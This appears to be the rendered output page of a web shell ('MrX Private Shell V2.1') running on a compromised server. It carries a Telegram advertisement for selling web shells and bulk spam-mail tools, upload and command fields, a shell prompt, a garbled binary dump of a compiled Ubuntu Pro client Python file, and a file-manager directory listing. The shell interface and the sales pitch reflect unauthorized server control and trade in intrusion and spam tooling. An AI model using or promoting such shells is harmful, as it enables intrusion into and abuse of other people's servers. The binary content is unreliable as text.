__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

Uٵg�!��>�SSKrSSKrSSKJr SSKJr SSKJr SSKJ	r	J
r
JrJrJ
r
 \R"\
R"\55r\
R$"5r\"S/SQ5r"SS	\\5r"S
S5rSqSrS
\SS4SjrS
\SS4SjrS\\4Sjrg)�N)�
namedtuple)�Enum)�List)�defaults�event_logger�messages�system�util�NoticeFileDetails)�order_id�label�is_permanent�messagec�`�\rSrSr\"SSS\RS9r\"SSSS	S9r\"S
SS\RS9r	\"SS
S\RS9r
\"SSS\RS9r\"SSS\RS9r
\"SSS\RS9r\"SSS\RS9r\"SSS\R R"S9r\"SSS\R$S9r\"SSS\R(S9r\"SSS\R,S9r\"SSSSS9r\"S S!S\R0S9r\"S"S#S\R4S9r\"S$S%S\R8S9rS&rg')(�Notice��contract_expired�5T)r
rrr�reboot_required�10FzSystem reboot required�enable_reboot_required�11�reboot_script_failed�12�fips_reboot_required�20�fips_system_reboot_required�21�fips_install_out_of_date�22�fips_disable_reboot_required�23�fips_proc_file_error�24�fips_manual_disable_url�25�wrong_fips_metapackage_on_cloud�lp_lts_reboot_required�30�operation_in_progress�60z"Operation in progress: {operation}�auto_attach_retry_full_notice�70�auto_attach_total_failure�71�limited_to_release�80�N)�__name__�
__module__�__qualname__�__firstlineno__rr�CONTRACT_EXPIRED�REBOOT_REQUIRED�ENABLE_REBOOT_REQUIRED_TMPL�ENABLE_REBOOT_REQUIRED�REBOOT_SCRIPT_FAILED�FIPS_REBOOT_REQUIRED_MSG�FIPS_REBOOT_REQUIRED�FIPS_SYSTEM_REBOOT_REQUIRED�FIPS_INSTALL_OUT_OF_DATE�FIPS_DISABLE_REBOOT_REQUIRED�FIPS_PROC_FILE_ERROR�tmpl_msg�NOTICE_FIPS_MANUAL_DISABLE_URL�FIPS_MANUAL_DISABLE_URL�&NOTICE_WRONG_FIPS_METAPACKAGE_ON_CLOUD�WRONG_FIPS_METAPACKAGE_ON_CLOUD�LIVEPATCH_LTS_REBOOT_REQUIRED�OPERATION_IN_PROGRESS�AUTO_ATTACH_RETRY_NOTICE�AUTO_ATTACH_RETRY_FULL_NOTICE�&AUTO_ATTACH_RETRY_TOTAL_FAILURE_NOTICE�AUTO_ATTACH_RETRY_TOTAL_FAILURE�LIMITED_TO_RELEASE�__static_attributes__r2��8/usr/lib/python3/dist-packages/uaclient/files/notices.pyrrs���(� ����)�)�	��(����(�	�O�/�&����4�4�	��-�$����-�-�	��-�$����1�1�	��#4�+����4�4�	#�� 1�(����1�1�	 ��$5�,����5�5�	$� �-�$����-�-�6�6�	��0�'����7�7�	��'8�/����?�?�	'�#�%6�&����6�6�	%�!�.�%���4�	��%6�-����1�1�	%�!�'8�)����?�?�	'�#�+�"����+�+�	�rOrc��\rSrSrS\S\4SjrS\4SjrS\S\\4Sjr	S\S	\S\
4S
jrS	\S\4SjrS\\4Sjr
S
rg)�NoticesManager�s�notice_details�descriptionc���[R"5(d+[RSURR
5 gURR(a[RO[RnSRURRURR
5n[R"[RR!X45U5 g)z�Adds a notice file. If the notice is found,
it overwrites it.

:param notice_details: Holds details concerning the notice file.
:param description: The content to be written to the notice file.
z.NoticesManager.add(%s) called as non-root userN�{}-{})r
�we_are_currently_root�LOG�warning�valuer
rr�NOTICES_PERMANENT_DIRECTORY�NOTICES_TEMPORARY_DIRECTORY�formatrr	�
write_file�os�path�join)�selfrTrU�	directory�filenames     rP�add�NoticesManager.addts����)�)�+�+��K�K�@��$�$�*�*�
�
��#�#�0�0�
�0�0��5�5�	�
�>�>�� � �)�)�>�+?�+?�+E�+E�
��	����G�G�L�L��-��	
rOc���[R"5(d+[RSURR
5 gURR(a[RO[RnSRURRURR
5n[R"[RR!X#55 g)zYDeletes a notice file.

:param notice_details: Holds details concerning the notice file.
z1NoticesManager.remove(%s) called as non-root userNrW)r
rXrYrZr[r
rrr\r]r^rr	�ensure_file_absentr`rarb)rcrTrdres    rP�remove�NoticesManager.remove�s���
�)�)�+�+��K�K�C��$�$�*�*�
�
��#�#�0�0�
�0�0��5�5�	�
�>�>�� � �)�)�>�+?�+?�+E�+E�
��	�!�!�"�'�'�,�,�y�"C�DrOrd�returnc	��[R"U5Vs/sH`n[RR[RR	X55(dMFURX5(dM^UPMb sn$s snf)z�Gets the list of notice file names in the given directory.

:param directory: The directory to search for notice files.
:returns: List of notice file names.
)r`�listdirra�isfilerb�_is_valid_notice_file)rcrd�	file_names   rP�_get_notice_file_names�%NoticesManager._get_notice_file_names�sd�� �Z�Z�	�2�
�2�	��w�w�~�~�b�g�g�l�l�9�@�A�
��*�*�9�@�
�2�
�	
��
s�AB�"B�:Brqc���U[R:Hn[Vs1sH;nURU:XdMSR	UR
UR5iM= nnX%;$s snf)z�Checks if the notice file is valid.

:param file_name: The name of the notice file.
:returns: True if the file is valid, False otherwise.
rW)rr\rrr^rr
)rcrdrq�is_permanent_dir�n�valid_file_namess      rPrp�$NoticesManager._is_valid_notice_file�si��%��(L�(L�L���
����~�~�!1�1�
0�G�N�N�1�:�:�q�w�w�/��	�
�
�,�,��
s
�A$�*A$c��URS5up#[H=nURU:XdMURU:XdM'URR
s $ g)z�Gets the default message for a notice file.

:param file_name: The name of the notice file.
:returns: The default message defined in the enum.
�-�)�splitrrr
r[r)rcrqrr
�notices     rP�_get_default_message�#NoticesManager._get_default_message�sJ��$�/�/�#�.����F����(�*�v�|�|�u�/D��|�|�+�+�+��rOc�.�[R[R4n/nUH�n[RRU5(dM)UR
U5nUHsn[R"[RRX555nU(aURU5 MQURU5nURU5 Mu M� UR5 U$![a [RSU-5 M�f=f)zTGets all the notice files currently saved.

:returns: List of notice file contents.
zPermission error while reading )rr\r]r`ra�existsrrr	�	load_filerb�PermissionErrorrYrZ�appendr~�sort)rc�notice_directories�notices�notice_directory�notice_file_names�notice_file_name�notice_file_contents�default_messages        rP�list�NoticesManager.list�s���
�0�0��0�0�
���� 2���7�7�>�>�"2�3�3�� $� ;� ;�<L� M��$5� ��+1�+;�+;������%5�H�,�(�(��N�N�#7�8�&*�&?�&?�(�'�O��N�N�?�3�!%6�	!3�*	�������'���K�K�9�<L�L���	�s�%3C.�."D�Dr2N)r3r4r5r6r�strrfrjrrr�boolrpr~r�rNr2rOrPrRrRss{��
��
��
�>E�V�E�,
��
��S�	�
�-�s�-�s�-�t�-�
�c�
�c�
� �d�3�i� rOrRc�0�[c
[5q[$�N)�_notice_clsrRr2rOrP�
get_noticer��s����$�&���rOrTrlc�r�[5nURR"S0UD6nURX5 g)Nr2)r�rr^rf)rT�kwargsr}rUs    rPrfrf�s.��
�\�F� �(�(�/�/�9�&�9�K�
�J�J�~�+rOc�:�[5nURU5 gr�)r�rj)rTr}s  rPrjrjs��
�\�F�
�M�M�.�!rOc�6�[5nUR5$r�)r�r�)r}s rPr�r�	s��
�\�F��;�;�=�rO)�loggingr`�collectionsr�enumr�typingr�uaclientrrrr	r
�	getLogger�replace_top_level_logger_namer3rY�get_event_logger�eventrrrRr�r�rfrjr�r�r2rOrP�<module>r�s����	�"���C�C�
����:�:�8�D�E���%�%�'����I���
`�
��`�F}�}�@���,��,�T�,�"�6�"�d�"�
�d�3�i�rO

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 502 B 0644
data_types.cpython-313.pyc File 4.07 KB 0644
files.cpython-313.pyc File 5.96 KB 0644
machine_token.cpython-313.pyc File 12.44 KB 0644
notices.cpython-313.pyc File 9.92 KB 0644
state_files.cpython-313.pyc File 8.69 KB 0644
user_config_file.cpython-313.pyc File 6.41 KB 0644
Filemanager